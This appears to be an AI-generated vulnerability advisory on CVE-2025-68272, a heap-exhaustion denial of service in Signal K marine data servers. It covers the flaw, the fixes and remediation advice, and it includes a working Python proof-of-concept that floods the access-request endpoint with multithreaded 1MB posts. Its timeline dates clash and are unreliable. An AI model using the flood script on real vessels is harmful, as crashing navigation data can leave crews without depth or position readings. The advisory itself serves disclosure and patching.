CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-68272
CVSS 7.5|EPSS 0.04%

Sinking the Ship: Signal K Server Heap Exhaustion (CVE-2025-68272)

Amit Schendel
Amit Schendel
Senior Security Researcher•January 2, 2026•5 min read
PoC Available

Executive Summary (TL;DR)

Signal K Server < 2.19.0 contains an unauthenticated memory leak in its device authorization flow. Attackers can spam connection requests with large payloads, filling the JavaScript heap and crashing the server. Fix: Upgrade to 2.19.0+.

A critical Denial of Service vulnerability in Signal K Server allows unauthenticated remote attackers to crash the application via heap exhaustion. By flooding the access request endpoint, the Node.js process runs out of memory, potentially taking down navigation data integration on equipped vessels.

The Hook: Mutiny on the Data Bus

Modern sailing isn't just about reading the wind and waves anymore; it's about JSON APIs, WebSockets, and Node.js. Enter Signal K, the open-source server that acts as the central nervous system for nautical data. It takes data from NMEA 2000 networks—GPS, depth, wind speed, engine diagnostics—and translates it into a unified format for apps and displays. It is effectively the server rack for your boat.

But here is the problem: when you put a web server on a boat, you inherit all the headaches of the web, including Denial of Service attacks. CVE-2025-68272 is a classic resource exhaustion bug that resides in the component responsible for onboarding new devices. It allows any unauthenticated user on the network (or the public internet, if you were brave enough to port-forward) to sink the Signal K server process.

This isn't just about a website going down. If your boat's instrument panel relies on Signal K to display depth or radar overlays, a crash here means flying blind. It is a digital hole in the hull that cannot be patched with duct tape.

The Flaw: An Infinite Mailbox

The vulnerability stems from a logical oversight in how Signal K handles access requests. When a new device (like a tablet or phone) wants to talk to the server, it sends a POST request to /signalk/v1/access/requests. The server is supposed to hold onto this request until an administrator approves it via the dashboard.

In versions prior to 2.19.0, these requests were stored in a global in-memory JavaScript object, simply named requests. The developers implemented a cleanup task, pruneExcessRequests, which ran every 15 minutes to clear out old pending items. However, 15 minutes is an eternity in computer time.

Crucially, there were no limits on two vital metrics:

  1. The Count: You could send 1, 100, or 100,000 requests.
  2. The Size: The description field in the JSON payload had no length restriction.

This created a textbook Heap Exhaustion scenario. An attacker could simply pour data into this global object faster than the garbage collector or the pruning task could clear it. Since Node.js runs largely on a single thread with a default V8 heap limit (typically around 1.5GB to 4GB depending on flags), filling this bucket is trivial.

The Code: Autopsy of a Memory Leak

Let's look at why the server crashed. In the vulnerable code (simplified), the server accepted the body and immediately assigned it to the heap:

// Vulnerable Logic in src/requestResponse.js
const handleAccessRequest = (req, res) => {
  const { clientId, description } = req.body;
  const id = generateUniqueId();
  // No checks on size, no checks on total count
  requests[id] = { clientId, description, timestamp: Date.now() };
  res.status(202).send({ state: 'PENDING', id });
};

The fix, applied in commit 55e3574d8266fbc0ed8e453ad4557073541566f5, introduces a "Defense in Depth" strategy. They didn't just add one check; they added three.

1. The Hard Cap:

const PENDING_ACCESS_REQUESTS_LIMIT = 100;
if (Object.keys(requests).length >= PENDING_ACCESS_REQUESTS_LIMIT) {
  res.status(503).send('Too many pending requests');
  return;
}

2. The Payload Throttle: They now inspect the Content-Length header before processing the body. If the request is larger than 10KB, it is rejected immediately.

3. Rate Limiting: Using express-rate-limit, they capped the endpoint to 100 requests per 10 minutes. This turns a firehose into a garden hose, making heap exhaustion practically impossible.

The Exploit: Flooding the Deck

Exploiting this requires no special tools—just curl or a few lines of Python. The goal is to send requests faster than the server can prune them, with payloads large enough to consume RAM quickly.

Here is a conceptual Proof of Concept (PoC) that demonstrates the attack:

import requests
import threading
 
TARGET = "http://<boat-ip>:3000/signalk/v1/access/requests"
# Create a 1MB string of junk data
JUNK_DATA = "A" * 1024 * 1024 
 
def flood():
    while True:
        try:
            payload = {
                "clientId": "attacker_boat",
                "description": JUNK_DATA
            }
            # Send the request and ignore the response
            requests.post(TARGET, json=payload, timeout=1)
        except:
            pass
 
# Launch 50 threads to fill the heap instantly
for _ in range(50):
    t = threading.Thread(target=flood)
    t.start()

When this script runs, the Signal K server process will see its memory usage spike vertically. Within seconds, the V8 engine will throw the dreaded FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory, and the process will terminate. If the server is not configured to auto-restart (e.g., via systemd or Docker restart policies), the service stays down permanently.

The Fix: Plugging the Hole

The remediation is straightforward: Update to version 2.19.0. This version includes the patch that limits pending requests to 100 and enforces a 10KB payload limit.

However, the developers went a step further in commit 43462c34f53e0a6ec0c8fd8f3eed31af3b45892e by adding Trust Proxy support. This is critical for users running Signal K behind Nginx or Traefik.

[!NOTE] Why Proxy Settings Matter Without trustProxy configured, express-rate-limit sees all requests as coming from 127.0.0.1 (the proxy's IP). This means one legitimate user could trigger the rate limit, blocking everyone. If you run behind a proxy, ensure you configure trustProxy in your settings.json so the new rate limiters work effectively against the actual attacker's IP.

Official Patches

Signal KCommit fixing the resource exhaustion

Fix Analysis (2)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Signal K Server < 2.19.0

Affected Versions Detail

ProductAffected VersionsFixed Version
Signal K Server
Signal K
< 2.19.02.19.0
AttributeDetail
CWECWE-400 (Uncontrolled Resource Consumption)
Attack VectorNetwork
CVSS v3.17.5 (High)
ImpactDenial of Service (Availability)
Privileges RequiredNone
ComponentAccess Request Handler

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.

Exploit Resources

Known Exploits & Detection

Research AnalysisExploitation is trivial via standard HTTP POST flooding scripts.

Vulnerability Timeline

Vulnerability Timeline

Vulnerability Analysis Published
2025-02-14
Patched in v2.19.0
2025-01-20

References & Sources

  • [1]GitHub Security Advisory

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.